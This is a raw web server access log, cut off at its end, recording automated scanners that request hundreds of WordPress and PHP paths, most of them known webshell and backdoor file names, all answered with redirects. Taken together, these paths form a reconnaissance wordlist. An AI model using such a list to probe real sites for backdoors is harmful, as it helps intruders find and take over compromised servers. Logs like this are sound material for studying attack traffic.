[05/Apr/2025:15:29:10 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:11 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:11 -0400] "GET /wp-includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:12 -0400] "GET /wp-admin/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:12 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:13 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:13 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:14 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:14 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:15 -0400] "GET /wp-includes/block-supports/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:15 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:16 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:16 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:16 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:17 -0400] "GET /wp-content/plugins/elementor/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:17 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:17 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:18 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:18 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:19 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:19 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:19 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:20 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:20 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:20 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:21 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:21 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:21 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:22 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:22 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:22 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:23 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:23 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:23 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:23 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:24 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:24 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:24 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:24 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:25 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:25 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:25 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:26 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:26 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:26 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:27 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:27 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:27 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:27 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:28 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:28 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:28 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:29 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:29 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:30 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:30 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:30 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:31 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:31 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:31 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:32 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:32 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:32 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:33 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:33 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:34 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:34 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:34 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:35 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:35 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:35 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:36 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:36 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:36 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:37 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:38 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:38 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:39 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:39 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:40 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:40 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:40 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:41 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:41 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:42 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:42 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:42 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:43 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:43 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:43 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:44 -0400] "GET /wp-admin/js/privacy-tools.min.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:44 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:45 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:46 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:47 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:48 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:48 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:49 -0400] "GET /wp-includes/Requests/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:49 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:49 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:50 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:50 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:50 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 216.244.66.236 - - [05/Apr/2025:17:29:28 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 13.77.70.9 - - [05/Apr/2025:17:49:53 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.77.70.9 - - [05/Apr/2025:17:49:56 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.77.70.9 - - [05/Apr/2025:17:49:57 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.77.70.9 - - [05/Apr/2025:17:49:57 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.77.70.9 - - [05/Apr/2025:17:49:57 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.77.70.9 - - [05/Apr/2025:17:49:58 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.77.70.9 - - [05/Apr/2025:17:49:58 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.77.70.9 - - [05/Apr/2025:17:49:58 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.77.70.9 - - [05/Apr/2025:17:49:58 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.77.70.9 - - [05/Apr/2025:17:49:59 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 124.156.159.53 - - [05/Apr/2025:18:04:36 -0400] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 185.136.160.220 - - [05/Apr/2025:18:11:15 -0400] "GET / HTTP/1.1" 301 795 "http://grimslut.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 128.24.52.16 - - [05/Apr/2025:18:20:32 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:35 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:36 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:37 -0400] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:37 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:38 -0400] "GET /WordPress/wp-admin/includes/zmFM.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:38 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:39 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:39 -0400] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:40 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:40 -0400] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:41 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:41 -0400] "GET /libraries/legacy/info.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:42 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:42 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:43 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:43 -0400] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:44 -0400] "GET /assets/images/28c5400b0b.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:44 -0400] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:44 -0400] "GET /wp-mail.php/wp-includes/ID3/.info.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:45 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:45 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:46 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:46 -0400] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 128.24.52.16 - - [05/Apr/2025:18:20:47 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 125.94.144.102 - - [05/Apr/2025:18:38:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 47.243.71.191 - - [05/Apr/2025:18:43:04 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3924.89 Safari/537.36" 13.90.215.200 - - [05/Apr/2025:19:59:27 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:30 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:31 -0400] "GET /wp-content/uploads/2023/11/system.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:32 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:32 -0400] "GET /wp-content/plugins/oekqtzj/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:33 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:33 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:34 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:35 -0400] "GET /sitemap.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:35 -0400] "GET /wp-content/banners/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:36 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:36 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:37 -0400] "GET /wp-includes/js/tinymce/plugins/directionality/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:37 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:37 -0400] "GET /wp-content/plugins/backup-backup/includes/923924098...php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:38 -0400] "GET /todo.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:39 -0400] "GET /wp-content/uploads/2018/03/ab.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:39 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:40 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:40 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:41 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:42 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:42 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:43 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:43 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:43 -0400] "GET /wp-content/themes/9geiaoo5/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:44 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:45 -0400] "GET /moddofuns.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:45 -0400] "GET /logs_view.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:46 -0400] "GET /wp/wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:46 -0400] "GET /wp-content/plugins/backup-backup/includes/1a895fa06f.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:47 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:47 -0400] "GET /environment.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:48 -0400] "GET /plugins/broken-link-checker/core/utils/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:48 -0400] "GET /class-wp-lock.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:49 -0400] "GET /wp-content/plugins/qwfdsop/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:49 -0400] "GET /wp-content/plugins/seox/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:50 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:50 -0400] "GET /wp-content/themes/7nd9yzxp/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:51 -0400] "GET /wp-content/plugins/td-cloud-library/includes/dir/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:51 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:51 -0400] "GET /media-new.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:52 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:52 -0400] "GET /wp-includes/Cez57/index.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:53 -0400] "GET /wp-content/plugins/qvkwtfvfez/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:53 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:54 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:54 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:54 -0400] "GET /wp-includes/class-flitert.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:55 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:55 -0400] "GET /stats.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:55 -0400] "GET /wp-includes/assets/XeRzQ.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:56 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:56 -0400] "GET /wp-admin/setup HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:56 -0400] "GET /wp-content/themes/fag0z08y/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:56 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:57 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:57 -0400] "GET /local/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:57 -0400] "GET /logout.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:57 -0400] "GET /wp-content/plugins/index HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:58 -0400] "GET /upload/2021_02_08/ HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:58 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:58 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:59 -0400] "GET /video.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:59 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:19:59:59 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:00 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [05/Apr/2025:20:00:00 -0400] "GET 